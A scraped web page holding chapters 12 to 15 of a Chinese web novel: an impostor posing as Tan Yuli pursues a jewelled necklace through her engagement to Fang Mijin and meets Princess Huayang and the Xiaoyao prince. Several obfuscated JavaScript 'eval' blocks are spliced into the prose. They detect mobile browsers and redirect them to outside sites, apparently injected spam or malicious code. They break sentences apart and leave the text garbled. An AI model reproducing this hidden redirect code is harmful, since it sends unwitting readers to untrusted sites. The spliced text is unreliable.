d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14648626|156578||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得无心所赠,不知怎么外头竟传成了这副样子。” 无心这人十分神秘,她手中的东西又岂是寻常之物? 曲屏早些年就听江湖人说她有一至宝,上面镶满了宝石,据说可以扭曲时空,换种说法便是穿越时空。 这传闻来得蹊跷,又毫无根据,可曲屏听闻后也寻了无心许久,只是一直没有结果。 她没有记错的话,她在现世已经死了,也没什么好留恋的,可她对这个世界并没有多少归属感,自周老爹死后,她更是对这个世界感到厌烦。 虽则不过是传闻,可她也想赌这万分之一的可能。 没想到踏破铁鞋无觅处,这宝物这些年竟然就在方弥谨手中。 曲屏心念一转,柔声道:“那方大人,这既不是传家宝,你可否借民女一观?” 见方弥谨仍是摇头,曲屏气得不行,耸肩气声道:“那你到底想怎样?婚约不取消,又不答应成亲,传家宝不送我,看也不给我看,你怎么这么迂腐!” 方弥谨却是温和一笑,更显得清俊无双。 “我何时不答应成亲了?” 曲屏一惊,道:“你答应了,那成亲之后那宝石项链会送我吧?” “这是自然。” “那就好,我们何时成亲?” “得先问问你二叔他们,然后再挑个好日子——” 曲屏急道:“还是别挑了,我们明日就成亲吧!” 见方弥谨不说话,她又犹豫道:“要不三日后也行,反正越快越好。” 方弥谨摇头失笑,道:“婚姻大事,自是不能如此仓促,而且……我可是盼了好些年了,郁李难道不想风风光光的出嫁吗?” 见他脸上挂着浅淡的笑意,竟与之前的疏远全然不同,曲屏一时看呆了。 顺着他的话,愣愣地说道:“想的,谁不想成亲的时候热热闹闹的呢。” “只是——” “只是什么?”曲屏扒着他宽大的袖子问道。 “只是曲姑娘方才不是还说自己不是谈郁李吗?怎么现在又要与我谈婚论嫁了?”方弥谨慢悠悠地说道。 曲屏尴尬一笑,“哦,那个啊,我不是失忆了嘛,有时候脑子有点不正常,今天也是因为跟檀香辩了几句嘴,出来透透气。他们都说我是谈郁李,那还能有假吗?” 方弥谨但笑不语。 曲屏猜测他恐怕对谈郁李也没有多少真心,不然怎么会认不出她呢?檀香和谈郁金可是刚见面就认出她是个冒牌货了。 她也便没了多少心理负担,既不是真心喜欢,那方弥谨一直不取消婚约定然是因为别的原因,一直不成亲恐怕也另有缘由。 既然谈郁李人人可取而代之,那即便真正的谈郁李回来了,怕是也并无特殊之处。 12. 第 12 章 到了晚间,曲屏吃饱喝足正拿着最近很受欢迎的话本子打发时间,一手抚摸着肚子消食。 小彤兴奋地跑了进来,传来哒哒的脚步声。 曲屏正看到兴头,呵呵笑了两声,却是没有其他反应。 此时清闲,就连包揽杂活的小怡都一直坐那儿休息,与她一道的还有檀香。 檀香说话不留情面,宅中其他丫鬟多惧怕她,小怡反倒跟她十分亲近。 想必也是因着小怡好说话,这倒与檀香性格互补。 自从寺庙回来之后,檀香就常与小怡晚上坐在院里闲聊。 她见小彤急匆匆地跑进曲屏的寝房,轻嗤一声,道:“倒是会巴结人。” “小姐,小姐!” 曲屏听到声音,头也不抬,问道:“怎么了?” “您跟方大人的婚期定下来了,李夫人吩咐了,从明日开始裁制婚服呢!”小彤的脸上全是喜意。 听到这话,曲屏还不曾反应过来,檀香却是突地站了起来。 她大声问道:“是李夫人亲口说的吗?” 见小彤点头,檀香大步走了进来,急声道:“怎么会?方大人怎会如此?” 说着她就瞪着曲屏,质问道:“是不是你上次同方大人说了什么?!” 曲屏没有回答,而是抬头看向小彤,道:“定的是什么日子呀?” “小姐,定的是三月后呢,李夫人还嘱咐我过来问小姐,看要不要自己绣婚服呢!” 曲屏尴尬一笑,她哪会刺绣啊,故而只摇头,道:“我不绣,随便做一套,能穿就行了。” “那怎么能行?不说咱们宅中并不缺银钱,再是方大人那样的大官,也是不能敷衍了事的。” 正说着,又传来些许脚步声。 “郁李。” ——是谈郁金。 曲屏放下话本,看了过去,“姐姐?你怎么过来了?不是说明日就要回去吗?怎么今晚不早点休息?” 檀香见到谈郁金,眼睛登时便红了,她默默退了出去。 谈郁金轻柔一笑,解释道:“我也是才听到的消息,便想着来与你说说话,下次相见,便是婚宴之上了。” 房中只余下她们二人,曲屏站起身,伸了一个懒腰。 “其实我今天又见了方慎之一面,还跟他聊了好久。”说到这里,曲屏还有点不太好意思,“当时也没来跟你道别,本来我是想白天的时候,趁着二婶婶他们都在宴席上偷偷溜走的。可不巧的是遇到了一个女扮男装的人,莫名其妙就指着我骂了一顿,我就跟她吵起来了,后来就见到了方慎之。” “我跟他说了一会儿话,现在那项链我是一定要拿到手的,至于那方慎之我也不知道他是脑子抽了还是怎么的,反正他说不取消婚约,要跟我成亲。” 说这些话的时候曲屏一直走来走去,而谈郁金只安静地听着。 末了,她问:“曲姑娘难道不曾对方大人动心?” 曲屏一惊,差点被口水给呛到。 她结结巴巴地说道:“是有……一点点。” 毕竟她头一次见到这么好看的人。 方弥谨的好看是俊秀之美,虽是文人,却全无牧训那种文弱之气,说是好看,也并非张向安那种过于清秀的美。 甫一看到方慎之,她便感到心头一震,他一说话,更是让她惊奇不已。 举手投足间,都有一股她说不出来的韵味,反正就是,他一出现,她就想一直盯着看。 闻言,谈郁金道:“这样便好了,你们也算是两情相悦。” “两情相悦?” 曲屏连连摇头,仿佛自证般解释道:“那可不行,我虽然是觉得他长得好看,但却并不是因为这个才急着跟他成亲的,我是为了那宝石项链。” 谈郁金包容一笑,宽慰道:“曲姑娘不必忧心其他的,十年过去了,方大人便是极爱也早该放下了,如今便是新的开始,只要你们两情相悦,那便不必有所拘束。” 曲屏不语。 “曲姑娘从前可有心悦之人?” 曲屏摇头,道:“我……以前没有心思想这些,来到这儿之后又是为着能吃饱肚子四处奔波,没遇着几个好人。” “曲姑娘从前太苦了。” 曲屏讷讷道:“是不大好过,但现在回想起来,好像也还行。……比在谈家自然是比不过的。” “姐姐,其实你说的这些我也有想过,我也不知喜欢一个人能喜欢多久,我从来没有喜欢过什么人。姐姐,你跟你夫君是怎么样的呢?”她其实从未跟人说过这些话,也从没有人想听。 谈郁金坐了下来,犹豫了片刻,还是说道:“我与他是七年前认识的,那时因着蝗灾,京城附近常有些难民,我常与寻筝一道去施粥。那些日子我浮躁得很,恰巧见他踏马而来,打翻了一锅粥,一时气愤便跑过去说了他一顿。他不觉自己有错,还跳下马来,与我争论,这样便结下了梁子。再后来我便听二婶说有人来提亲,年纪不满十八,还未及冠。我当时早已过双十,本无心婚嫁,听到这个倒是有些好奇,故而便约着见了一面。” 见谈郁金停了下来,曲屏忙凑过去问道:“然后呢?那人一定就是姐夫吧!” 谈郁金点了点头,道:“那时已过了两月有余,我也就没认出来,这还是婚后我偶然得知的。” “既然没认出来,姐姐怎么就答应提亲了呢?” 谈郁金解释道:“我那时也拒绝了多次,他不知怎的就是执意要娶我,相处了数月之后,我便同意了。” 曲屏挨着谈郁金坐着,眼睛转了转,露出兴味的笑容,“这样说来,你们俩还颇有几分欢喜冤家的感觉,没想到姐姐这样性格的人也能跟人闹得不愉快。” “他提亲时我与他见的那一面,他变了很多,前后完全像是两个人。施粥时的情形,我虽然记不大清了,可那时心惊得很,我和寻筝手臂上都被烫伤了,不然我当时也不会和他吵起来。”谈郁金叹了口气,又道:“也许真像你说的那样,初见确是冤家,我毕竟长他些年岁,婚后知道了这事也没计较了。” “本来及笄后一年,二婶就给我定了亲事的,可郁李那时与我说太早成亲生子于身体有损。郁李其实心思很是敏感,我想是因着她体弱, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14648627|156578||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 京城中没有门当户对的人家上门提亲,难免心中冷落。故而我便答应待过了十八再成亲。等过了十八之后,一时又没合适的,再加之郁李那两年身体尤其不好,有时数月不能下床,我无暇再想婚嫁之事,就这样一直耽搁了下来。这样算来,我与他的婚事,着实是缘分。” 谈郁金拉过曲屏的手,轻轻抚摸手心的老茧,道:“曲姑娘,我虽与郁李亲近,可也是有些喜欢你的。开始那几年,爹还在的时候,常有些民间女子来谈宅,有的生得跟郁李一般漂亮,有的眉眼跟郁李一个样,竟还有的像是郁李的孪生姐妹般叫人神情恍惚。可怎么会呢?不止我不信,爹也不信。那些皆是因重金而来,可曲姑娘,你不一样。” 曲屏一时被这肺腑之言感动了,却心道:我也是为宝物而来啊。 谈郁金的眼神仿佛透过她看另一个人。曲屏没有说话。 “爹极爱楚夫人,即便她多年未归,仍是如此。我虽不知曲姑娘从前过得是什么日子,倒也能猜出来定是有些艰苦。爹病逝后,这个家靠着三叔才撑到现在,前些年寻榆当了官才好些了。故而他们对方大人多有巴结,也是因着六年前险些被流放之事。这么些年,我们这一家子虽会有些矛盾,可到底是一家人,吵完也就过去了。曲姑娘日后有什么不顺心的,大可与我说。” 说完又随便聊了一通,谈郁金便走了。 翌日清晨,曲屏便被谈话声给吵醒了。 披上外套推门一看,果真是谈羽复。 迷迷糊糊的,就见谈羽复佝偻着背,手中提着一个鸟笼正与小彤说着什么。 “死丫头!快些让开!”谈羽复眉头紧皱,右手挥了挥。 小彤伸手挡在前头,“复少爷,二小姐昨晚睡得晚,您现在不能进去。” “我,偏要进去!”谈羽复连着说了四句,最后吼了一声,抱着鸟笼子一把将小彤撞倒在地。 看到这一幕,曲屏瞬间清醒过来。 她揉了揉眼睛,扶起小彤,骂道:“不是,谈羽复你今天大清早的又发什么神经?!” 见是曲屏,谈羽复挺直腰杆,左手提着笼子右手托举,神气道:“这是我新得的鹦鹉,谈郁李,你瞧瞧,漂亮吧?” 曲屏翻了个白眼,气呼呼地说道:“就为了这事儿?你脑子有坑吧?我都困死了,大早上的吵吵吵!” “那你说漂亮吗?”见曲屏不回答,谈羽复拖着笼子杵到曲屏下巴,“谈郁李,快说快说,你快说呀!” 这些日子她早已习惯了谈羽复的反复无常,遂瞅了眼笼中绿色的鹦鹉,面无表情地点头,“漂亮漂亮,好看的不得了。” 开始半个月,谈羽复每天清早拉着曲屏满宅子跑,之后倒不这样了,只隔三差五跑来她院里捣乱。有时是坐在墙边那颗歪脖子树上装模作样地念诗,有时揣把没开刃的剑在院子里比划招式,还故意发出尴尬的打气声,有时就像今天一样拿些新鲜玩意过来给她看,每次骂几句再夸两下他就若无其事地走了。 当时曲屏一度以为他是个弱智,还问过小彤。 小彤说复少爷只是行事与旁人不同,其实什么都懂。 13. 第 13 章 夸完之后,曲屏转身回房,打算睡个回笼觉。 谈羽复一把拉住她,道:“六姐现在就要回夫家了,谈郁李,你不去看看吗?” “啊?” 曲屏一时没反应过来他口中的“六姐”是谈郁金。 也不知谈家是怎么的,明明是堂兄妹,却是按年龄排序称呼,仿若亲的一般。 一般堂兄妹都是叫某某姐姐之类的,而谈家谈郁金排行第六,谈羽复便叫她六姐。 谈郁李虽只比谈羽复大了十几天,曲屏从几个嬷嬷口中得知,谈羽复很少叫她七姐,基本上都是直呼其名。 “这么早?不是说要吃了午饭再回去吗?” “我也不知道,刚刚过来的时候见六姐院里丫鬟进进出出的,应当是赶着回去呢。” 下次见面说不准真是婚礼那天了,曲屏想着便朝谈郁金的院子跑去。 谈羽复瘦得跟竹竿一样,跟在她后面,跑得上气不接下气。 “……呼……谈郁李你慢点啊……你现在身体好了了不起呀,……呼……我,我都追不上你……” 到了院门口曲屏停了下来,她后背出了点薄汗,脸颊通红,仍是平稳着呼吸仰头看着院门口的木匾。 ——远香院。 这院名虽奇怪,却很符合曲屏对谈郁金的印象。 谈羽复这才追了上来,他躬着身子平缓呼吸,嘴巴大张着不停歇,“……呼,呼呼……可算是到了,……我,我就跟你说一声你就走这么快……累死老子了……” 曲屏没有搭理这些废话。 看了跟上来的檀香之后,抬脚便踏进院门。 见此,檀香一言不发地跟了上去。 “诶,谈郁李——”见曲屏没有丝毫反应,他撩起衣摆跑了进去,大声问道:“喜桃,我六姐呢?” “小姐在里面,正要走。”声音低哑怪异。 曲屏顿住步子侧头看了她一眼。 话落,谈郁金似是听到了动静,她系着披风从里间走了出来。 “郁李怎的这副模样就来我这儿了?我原想让喜桃去给你送些吃食,是今早儿特意出门买的。”说完谈郁金轻轻地咳了两声。 曲屏这才仔细打量她口中所说的喜桃。 喜桃名字喜庆,可不管是模样还是神情都不与喜字搭边。 她一身大丫鬟衣服,好歹是大户人家的大丫鬟,发饰却简单得过分,只别了几根木簪,比民间女子尚且不如。 容貌普通,只一双狭长的瑞凤眼很是吸睛,更因着她的面无表情而格外出彩。 喜桃右手微微攥着食盒,平视前方,虽是曲屏的方向,但曲屏却并没有感到被注视。 谈郁金走近,接过她手中的食盒,轻笑道:“郁李要不趁热尝尝?” 曲屏接过,却是摇头,“嘴巴苦,没胃口。” “复儿今日竟也来我这儿了?从前不是总说不想看到喜桃吗?”谈郁金稀罕道。 闻言谈羽复撇撇嘴,解释道:“我跟着她跑过来的。” 喜桃抬头看了眼曲屏,没有说话。 见谈郁金没打算再回房间,曲屏蹙眉问道:“姐姐现在就走吗?” 谈郁金点头,道:“你姐夫已经在门口等我了。” “怎么不进来?” “我跟你一起去门口。” 到了门口,就见谈明与一年轻男子交谈甚欢。 男子一身淡蓝锦服,身量颀长,明明是有些昳丽的相貌,却因着神情舒朗而显得格外俊秀。 他们甫一出来,男子的视线就看了过来,注意到曲屏,他微微颔首。 “这便是姐夫了吧?” 曲屏话音刚落,谈羽复便屁颠屁颠地跑了过去,攀住男子的肩膀问道:“六姐夫,舅舅,你们聊什么呢?” 曲屏:“……” 谈羽复这人还是太过抽象了。 谈明笑容敛去,稍稍后退几步,却也未曾开口责怪,只说了句要去看铺子就走了。 羿星河一耸肩将谈简之推开,调侃道:“几年不见,你倒还是这样,一点变化也没有。” 也不知是夸还是损。 谈羽复揉了揉肩胛继续套近乎,“别这样嘛姐夫,自打你跟我六姐成亲后,我可是对你佩服得五体投地。” 羿星河挑眉轻笑:“哦?是打着我的名号到处混吃混喝这么个佩服法?” “咳咳,姐夫,我这不是……我娘每月没给多少银子给我花,这也是不得已。” 听到这话曲屏一时不知道说什么,心中却为谈羽复的厚脸皮绝倒。 看来他待她算客气的了,至少没想图她的钱。 待谈郁金走近,羿星河走上前搀着她,低声问道:“怎么着凉了?” “昨晚回院子的时候吹了些冷风,只是有些咳,不妨事。” 二人耳语了一番,羿星河看了眼曲屏,道:“这便是你常与我说的妹妹,郁李吧?这些天我也听说过一些,今日一见,倒是出乎我的意料。” 见谈郁金点头,曲屏笑嘻嘻地说道:“姐夫,我正是谈郁李。” 话落她又抱拳补充了一句“多多包涵”。 羿星河灿然一笑,连连摆手寒暄了几句,见谈郁金还有些轻微咳嗽,便搀着她上了马车。 不一会儿,他便又掀开帘子朝二人说道:“羽复,郁李,我原想着陪你们姐姐在谈宅住些日子,随同你们玩乐一番,也好叫她散散心。可家父病了,这几日病情更不大好,我只得今日急匆匆过来接郁金。等过段日子得了空,我再陪她一道过来。” 末了,他又看了眼谈羽复,补充道:“我既是你姐夫,与你姐姐夫妻一体,日后有什么难事,尽可差人来找我。” 曲屏一时无言,谈羽复倒是连着点了好几下脑袋,乐得跟花儿一样,嘴里直叨叨“还是六姐夫对我最好”。 看着华贵的马车远去,曲屏疑惑道:“姐夫是京城本地人吗?” 这车驾……她来京城这些天还从未见过如此制式的马车,难不成是皇亲国戚? 若真是皇亲国戚,谈郁金与他七年前成亲,他与谈郁金新婚燕尔,便是如今也是感情甚笃,六年前谈家遭难,他定不会袖手旁观。 谈羽复拉着曲屏边说边往外走,“姐夫祖父那辈是搬到京城来的,本以卖鱼为生,听说突然有一日 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14648628|156578||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 皇后,也就是先皇后为报答救命之恩赐了一把尚方宝剑给羿家,羿家从此便发达了。咳咳,其实说是羿家当时也就四口人,便是姐夫的祖父母、父亲以及姑姑了,巧合的是后来新帝登基不久,竟在民间偶遇了一女子,纳为妃子,这人正是姐夫的姑姑。” 说到最后谈羽复竟也有些避讳,他凑到曲屏耳边悄声说道:“那时时局不稳,不过三年她便死在一次宫变之中。” 曲屏蹙眉道:“这当是皇室密辛,你怎么知道的这么清楚?” 谈羽复撇嘴,“谈不上密辛,这事天下皆知!当年江山差点易主,姐夫他爹当年可是皇上一手扶持起来的丞相,这事过后他就辞官继续卖鱼。可皇恩浩荡,皇宫的赏赐仍如流水一般,羿家虽不是世家大族,可又有谁敢轻易招惹呀。” 难怪小彤说羿星河从前名声并不好,素有骄纵之名,这样的身家背景,养成这样的性子倒是可以预想的了。 听完这些,二人早已处在闹市之中。 曲屏甩开谈羽复挽着的胳膊,道:“怎么说着说着就到这儿来了?你看我这副样子能出门吗?” 因着着急她穿着寝衣,外面只披了件披风,头发披散着,脸都没有洗。 “不妨事不妨事,咱们先去吃点东西,听听小曲儿。” “那你请客。” “我没钱。” “我也没钱。” “谈郁李,你如今可是方弥谨未过门的妻子,怎么会没钱,难道我娘没给你银子?” 曲屏摇头。 “那咱们先赊账,让店小二去家里取。” “你说得倒轻巧,叫他去谈家报你的名号取银子。” “……好,好吧,就当我请你吃一顿了。” 认识谈羽复这半个多月,难得见他这么大方,曲屏又想念起初到京城时的那家店了,便说道:“那我要去醉仙楼,那里的菜好吃,弹曲的姑娘也漂亮得很。” 谈羽复一阵肉痛,顿了很久才回道:“去!我们现在就去!” 到了醉仙楼,曲屏想起上次那个琵琶女了,一时又忘记了名字,“小二,我要上次那个弹琵琶的,忘记叫什么名字了,只记得长得很漂亮声音很好听,年纪像是十几岁的样子。” “姑娘,我们店光琵琶女就有十来个呢,各个都生得漂亮,嗓音轻柔,小人也不知道您要的是哪个啊!” 看着店小二为难的神色,曲屏又道:“那就让那个弹琵琶弹得最好,最受欢迎的那个过来吧。” 听到这话谈羽复忙拍了一下曲屏的肩膀,低声道:“谈郁李,你可真不客气啊,你是不知道这醉仙楼唱曲儿的有多贵——” 还没说完,曲屏就捂着他的嘴,拉着他上了楼。 菜上齐了,琵琶女这才被店小二引着上来,曲屏虽不记得之前那人名字,相貌却还有些印象。 “怎么不是上次那个?上次那个不是弹得最好的?” 曲屏这样一说,店小二像是想起来一般,“姑娘您说的是纪小娘子吧?” “好像是姓纪,叫什么翠来着。” 谈羽复正在倒酒的手一顿,低声呢喃:“纪书翠,她怎会在这里?” 14. 第 14 章 “纪书翠!错不了,纪小娘子的琵琶远近闻名,自飘香阁被官府查封后,我们掌柜的有先见之明,当天就将她招揽了过来。不过今日可不凑巧,隔间有贵人订了她谈琵琶。” 曲屏见谈羽复跟呆子一样坐那儿,无甚惊奇,只纳闷:这大清早的,不知道隔壁厢房是什么人。 不过曲屏也没有思量太多,好不容易谈羽复请客,她不得吃够本? “呆子!回神啦!”曲屏拍了一下他的脑袋。 “想什么发呆呢?”曲屏看也不看他,执起筷子夹了一片牛肉放嘴里。 嘴里还念叨着,“大城市就是不一样,这么大这么薄一块牛肉就这样水灵灵地端上来了,啧啧啧……” “真入味!不错不错!” 谈羽复将酒壶递给她,道:“谈郁李,你什么时候来过醉仙楼?” “就前段时间啊,刚回谈家的时候,我带着小彤一块儿来的。”曲屏抖了抖腿,倒了一碗酒抿了一口。 “这酒不错,比上次那个好喝,你小子挺会选嘛!”说着曲屏凑过去将手搭在谈羽复肩膀上。 刚挨上谈羽复就将她甩开,“谈郁李你少来这套,我还不知道你?你与方弥谨定了婚期,我娘定给了你不少钱财,你都藏哪儿了?” 咳咳……李夫人前几天确实送了她几盒子首饰,她当即就打开看了,值不少银子。 曲屏只摇头,嘟囔道:“就给我裁了几件漂亮衣服,还有几个首饰,其他的早上次来醉仙楼花光了。” 谈羽复也不知信没信,他又问起了其他的,“你上次见着纪……书翠了?” “你这不是废话,刚刚尽发呆去了,没听见我跟店小二说的?那小姑娘我很喜欢,不知下次能不能再见着。” 谈羽复听到这话,嘁了一声,“不过是一个弹琵琶的,你又不不是不会弹。” “你懂什么,她长得好看。” “你也不差,”这句话刚脱口,谈羽复反应过来,又打量了一下曲屏,嘴角一抽,补充道,“不过以你现在这副尊荣……也不知方弥谨是怎么同意婚期的。” 曲屏一巴掌拍在他额头上,“我怎么了?难不成真就这么差劲?!” 她自知不比千金小姐,可被这样贬低难免心生不服。 谈羽复摸了摸额头,啧啧称奇,“这几天好多了,要是还是刚回家那样子,也就我能认出是你了。” 曲屏冷笑一声,没有回答,夹了一只鸡爪放在碗里。 二人就这样你一句我一句的辩嘴,不知不觉菜也吃得差不多了,却听外间传来动静。 知道又有热闹看了,曲屏立马放下酒壶跑到窗边,附耳偷听。 “谈郁李,外面怎么了?”谈羽复颇为上道地轻脚跟了过来。 “是两个女子,好像是因着厢房的位置吵了起来,店小二正劝架呢。”说着曲屏就轻轻推开窗户偷看,“喔,外面围了好几个人啊。” 谈羽复凑了过来,却什么也没有看到,他低声说道:“能来醉仙楼吃饭的定然不会差钱,更何况还像咱们一样包了厢房。许是富商或者高官之女,平日里威风惯了,这才能因着厢房的位置争吵。” 曲屏眼睛仍看着外面,“这有什么好吵的,反正都是厢房,能吃饭听曲儿就成。” 谈羽复摇了摇头,解释道:“我虽也觉得没什么好吵的,不过醉仙楼就两个最贵的厢房,分别是天字一号和天字二号,她们想必同时过来,都是不差钱的主儿,就吵了起来。” “等等,我们对面厢房有人出来了。”隔得远,曲屏看不太清楚,“看那身形,有点眼熟,好像是之前那个琵琶女。” “——纪书翠。”谈简之说完便将曲屏推开,自己凑过去看。 曲屏被推得撞到墙上,“谈羽复,你发什么神——” 还未说完,就见谈羽复打开窗户,跳了出去。 外间静默了下来,只听见谈羽复急匆匆的脚步声。 他径直朝走到楼梯间的纪书翠跑去,徒留大开的窗户,以及刚从扶着墙站起来的曲屏。 “谈郁李,又是你!” 听到这声音,曲屏侧头看向被包围的女子。 呦呵,还是老熟人。 当朝皇帝唯一的女儿——华阳公主。 曲屏立马关上窗户,跑了回去。 可黄若烟居然不再继续跟那人吵了,而是疾步走过来一把推开房门。 门一开,曲屏忙站了起来,刚要行礼,就被她制止了。 “收起你那套,我今日是出来玩的。” 曲屏暗道:不想暴露身份还这么高调。 “你刚刚站那儿偷看了许久吧?”说着黄若烟指了指窗口。 曲屏摇头,解释道:“就看了一下下,还没能看到您呢。” 见曲屏这样的态度,黄若烟显然很是受用,她冷哼一声,道:“方才那人是谁?就你们两个人?” “我堂弟。” “谈简之?” “正是,没想到您对我家还挺了解,呵呵。”不说她们初见本来就闹得不愉快,上次的事她也能看出来华阳公主对方弥谨有意,自然不想多与她接触,免得多说多错。 “你失踪这十年我早将这些打听的一清二楚,也就他从小到大一直当你的跟屁虫。” “算了,平白坏了兴致,宛白,你去打听下刚刚那人是哪家小姐,天子脚下竟如此猖狂。”她的声音轻飘飘的,语气透着厌倦。 “是。”黄若烟身后的便衣女子应声而退。 待宛白走后,黄若烟坐了下来,看了眼桌上的剩菜,嫌弃道:“怎么连个弹曲儿的都没有?” 还不是被你给吓跑了。 见曲屏不发一言,她也颇感无趣,吩咐身边的丫鬟几句,又仰着下巴朝曲屏说道:“本公主也不是心胸狭隘之人,你虽三月后便会与方大人成亲,只要你自降为妾室,本公主便不与你计较。” 曲屏刚坐下来听到这话,就被口水给呛到了。 “咳咳咳……自降为妾?” 黄若烟点头,慢声说道:“难道你竟不愿?” 曲屏自然不愿,不说她现在顶着谈郁李的名头,便是以她自己原来的身份,自降为妾她宁愿不嫁。 又不是非得成亲不可?何必上赶着当妾? “婚期本是方大人定的,公主何不直接与方大人说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14648629|156578||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这事?” 黄若烟拍了一下桌子,道:“你上次又不是没见着,他那副样子怎么会同意。” 说到最后,她竟还有些委屈。 “本公主从小到大想要什么没有,可偏偏这么些年我只想要一个方慎之,都不能如愿!”见厢房内只剩二人,黄若烟低头细声道:“方慎之这人油盐不进,只一心挂着你……” 听她提到自己,曲屏也不好说什么,只干巴巴地说道:“公主,感情这事不可强求。” “哼,我见你也没多喜欢他!听说你当年对他也爱搭不理,难不成男人就喜欢这套?” “……” 气氛一时很是尴尬,好在方才的丫鬟走了进来。 “公主,这里声名最甚的琵琶手被人定了。” “定了多久。” “一整天。” “定是骄奢淫逸之人,吃个饭还包一天,本公主可是专程为了见那琵琶手而来,我方才就听隔间传来琵琶音,果然与其他人弹的不一样,定是那人!若不是天字二号被定走了,本公主也不至于大庭广众之下跟人吵起来!” 说完黄若烟就拉着曲屏往对面厢房走去。 “诶诶诶!公主……” 曲屏是爱看热闹,可君子不立危墙之下,她可不想掺和这些事啊。 黄若烟看着瘦小,手劲倒是不小,不管不顾地拉着曲屏一直走到门口,她都未能挣脱。 主要也是因着她的身份不敢用力。 “去敲门。” “我?”曲屏刚要疑惑出声,见一旁的丫鬟上前敲门她忙闭上嘴巴。 里面确实传来琵琶声,听着跟上次的有些相像。 可,可方才谈羽复不是追出去了吗?怎么如今纪书翠又回来了,而他却不见踪影? 难不成他跑单了? 想到这里,曲屏咬牙切齿,心中给他狠狠记了一笔。 连着敲了几下,房门才打开。 开门的看服饰是一个侍从,年纪不大,很是恭敬。 “不知姑娘所为何事?” 黄若烟见是侍从,没有搭理直接走了进去。 她瞥了眼珠帘后面的人影,敷衍道:“兄台莫怪,我也是听闻醉仙楼新来了个琵琶手,想见识见识,这才失礼了。” 说完她就拉着曲屏朝屏风后坐着的女子走去。 “乐曲当用耳听之,用心赏之,何须如此?” 黄若烟没有回答,直到琵琶女受到惊扰停了下来。 “华阳。”男子声音清润。 “你——”黄若烟扭头震惊地看着那个人影。 纪书翠闻言抱着琵琶跪在地上。 侍从掀开珠帘,男子走了过来。 曲屏抬眼看去,眼前男人蓄着短须,看着约摸三十出头,容貌俊美,颇有些阴柔之感。 “皇叔,您怎么在这儿?” 说完,黄若烟忙又说道:“华阳无理,皇叔勿怪,切莫与父皇说与此事啊。” 先帝五子二女,其中第四个儿子溺水而死,其余皇子待皇上登基后,都被封了王。 依年纪来看眼前这位当是如今的逍遥王——黄兆兴。 15. 第 15 章 黄兆兴乃先帝第三子,是德妃所生。新皇登基后,他因随性闲散被封为“逍遥王”。 不待他回答,黄若烟又急声问道:“皇叔怎会在此?难不成也是因着这个琵琶女?” 纪书翠一直未曾抬头。 即便这个时候,黄若烟都没有松开曲屏的手腕。 黄兆兴微微颔首,道:“本王早先就常听纪姑娘弹琵琶,她如今换了地方,也就跟着过来了。” 话落,他便看向黄若烟身后的女子,问道:“这女子便是方大人的未婚妻吧?” 黄若烟哼了一声,松开了手。 曲屏抬眼看了一下,讷讷道:“臣女见过王爷。” 黄兆兴微微一笑,道:“倒是同传言中有些不一样。” “市井之言,作不得真。”曲屏只干笑两声。 “谈小姐身体可大好了?” 曲屏环顾四周,有些不知所措,“比起以前是好了很多了。” “那你可还记得从前答应我之事?”黄兆兴低头看着眼前女子,嘴边仍挂着些微的笑意。 啊?谈郁李居然认识逍遥王?! 她一个冒牌货哪能知道这些啊! “我,我……这些年,吃了不少药,许多事情都记不清了。” “皇叔竟还认识她?你们是何时相识的?”一旁的黄若烟急得转过身来。 黄兆兴释然一笑,轻声道:“也是十几年前的事情了,你那时还是个小娃娃。” 黄若烟指了指曲屏,不服气道:“我看她年纪比我还小呢!” “若是本公主早出生十年,现在与方慎之娃娃都好几岁了。” 黄兆兴噗嗤一笑,“不害臊。” 黄若烟也不介意,只凑过去说道:“父皇不是派您去江南了吗?怎么这么早就回来了?” “也是昨日才到的京城。” “华阳既是来听琵琶的,又何苦为难谈姑娘?”他的声音轻飘飘的。 黄若烟低声道:“我才没有为难她。” “是她为难我!” 听到这话,曲屏被口水呛到,咳了起来。 黄若烟横了她一眼,气呼呼地说道:“本来就是嘛,走了这么多年居然还要回来!” “本王记得华阳幼时琵琶弹得极好?” “不过学了些皮毛。”黄若烟神情不虞,虽这样说下巴却是抬着的。 “那华阳今日想听什么曲子?” 